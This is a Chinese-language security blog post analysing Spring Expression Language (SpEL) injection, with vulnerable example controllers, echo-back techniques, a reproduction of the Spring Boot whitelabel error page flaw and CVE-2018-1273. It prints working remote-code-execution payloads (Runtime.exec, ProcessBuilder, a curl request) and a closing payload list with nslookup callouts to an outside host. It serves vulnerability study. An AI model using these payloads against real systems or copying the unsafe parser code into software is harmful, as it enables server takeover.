SPEL注入分析

前言

本篇探讨一下关于SPEL注入漏洞实现命令执行的相关知识。

0x01 关于SPEL

SPEL简介

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。

SPEL基础用法

1. 传递字符参数

@Controller
public class spel {
    @RequestMapping("/spel")
    @ResponseBody
    public String spel(String input){
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(input);
        return expression.getValue().toString();
    }
}

image-20220308111324387

2. 传递类方法

除了上面传递字符参数,还可以指定一个类使用一个类的类方法:

T(java.lang.Runtime).getRuntime().exec("calc")

@GetMapping("/spel/vuln")
public String rce(String expression) {
  ExpressionParser parser = new SpelExpressionParser();
  // fix method: SimpleEvaluationContext
  return parser.parseExpression(expression).getValue().toString();
}

image-20220309142849110

3. 实例化类执行方法

new 类名,可以直接new一个对象,再执行其中的方法

new java.lang.ProcessBuilder("open", "-a","Calculator").start()

@GetMapping("/spel/vuln")
public String rce(String expression) {
  ExpressionParser parser = new SpelExpressionParser();
  // fix method: SimpleEvaluationContext
  return parser.parseExpression(expression).getValue().toString();
}

image-20220309144240266

4. spel定界符

SpEL使用 #{...} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法如:

引用其他对象:#{car}
引用其他对象的属性:#{car.brand}
调用其它方法 , 还可以链式操作:#{car.toString()}

其中属性名称引用还可以用$符号 如:${someProperty}
除此以外在SpEL中,使用T()运算符会调用类作用域的方法和常量。例如,在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算符:

\#{T(java.lang.Math)}

T()运算符的结果会返回一个java.lang.Math类对象。

0x02 SPEL命令执行回显

前面看到已经可以通过spel执行命令,现在看一下回显的方式

1. commons-io

T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())

使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件

2. JShell

T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题

3. JDK原生回显类BufferedReader

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder( "whoami").start().getInputStream(), "gbk")).readLine()

image-20220309145938913

但是这个类只能读取一行

4. Scanner回显

new java.util.Scanner(new java.lang.ProcessBuilder("ls").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

image-20220309150317752

0x03 SPEL漏洞复现

1. springboot的SPEL注入

影响版本:

  • 1.1.0-1.1.12
  • 1.2.0-1.2.7
  • 1.3.0

修改pom:

<parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>1.2.0.RELEASE</version>
    <relativePath/> <!-- lookup parent from repository -->
</parent>	

image-20220309155317630

在启动是可能会报一个:Error:(4, 45) java: 程序包org.springframework.boot.test.context不存在,的错误,可能是版本过低导致,可以采用关闭测试类的方式解决:

<properties>
  <java.version>1.8</java.version>
  <!--关闭测试类-->
  <skipTests>true</skipTests>
</properties>

然后 添加一个controller:

@Controller
public class TestController {
    @RequestMapping("/")
    public String test(String payload){
        System.out.println("test");
        throw new IllegalArgumentException(payload);
    }
}

进行注入:

image-20220309155933187

计算可以成功,但是计算器失败:

image-20220309160004002

首先造成spel注入的主要是ErrorMvcAutoConfiguration.java中的SpelView类:

private static class SpelView implements View {
        private final String template;
        private final StandardEvaluationContext context = new StandardEvaluationContext();
        private PropertyPlaceholderHelper helper;
        private PlaceholderResolver resolver;
 
        public SpelView(String template) {
            this.template = template;
            this.context.addPropertyAccessor(new MapAccessor());
            this.helper = new PropertyPlaceholderHelper("${", "}");
            this.resolver = new ErrorMvcAutoConfiguration.SpelPlaceholderResolver(this.context);
        }
 
        public String getContentType() {
            return "text/html";
        }
 
        public void render(Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
            if(response.getContentType() == null) {
                response.setContentType(this.getContentType());
            }
 
            Map<String, Object> map = new HashMap(model);
            map.put("path", request.getContextPath());
            this.context.setRootObject(map);
            String result = this.helper.replacePlaceholders(this.template, this.resolver);
            response.getWriter().append(result);
        }
    }

SpelView主要是为了解析Whitelabel Error Page模板页面去填充其中的相关数据在SpelView中,我们可以看到使用了StandardEvaluationContext:

private final StandardEvaluationContext context = new StandardEvaluationContext();
this.helper = new PropertyPlaceholderHelper("${", "}");

用于递归解析在${...}中的表达式,也就是这里导致SpEl表达式注入并执行。其中用到SpEl表达式解析执行的目的主要是为了从当前contextrootObject取相关数据 如timestamp

然后PropertyPlaceholderHelper类中通过parseStringValue方法递归字符串找到目标去掉 $(),这个方法中调用resolvePlaceholder方法来在context中找到对应的name,并在这里执行了getValue操作。由此造成命令执行:

public String resolvePlaceholder(String name) {
        Expression expression = this.parser.parseExpression(name);
 
        try {
            Object value = expression.getValue(this.context);
            return HtmlUtils.htmlEscape(value == null?null:value.toString());
        } catch (Exception var4) {
            return null;
        }
    }

这里面还有一个有意思的是直接用上面的payload去执行是不行的,原因是里面有一个convertToReference方法对特殊字符进行的编码,有兴趣可以查看一下参考文章的断点调试。

${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

image-20220309163403745

2. CVE-2018-1273 Spring Data Commons RCE

payload:

curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a Calculator')]=test"

image-20220309170820139

漏洞形成的原因就是当用户在开发中利用了Spring-data-commons中的特性对用户的输入参数进行自动匹配时候,会将用户提交的form表单中的参数名作为SpEL执行。

总结

常用payload

${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

参考

https://www.cnblogs.com/bitterz/p/15206255.html

http://rui0.cn/archives/1043

posted @ 2022-03-09 17:18  N0r4h  阅读(798)  评论(0编辑  收藏  举报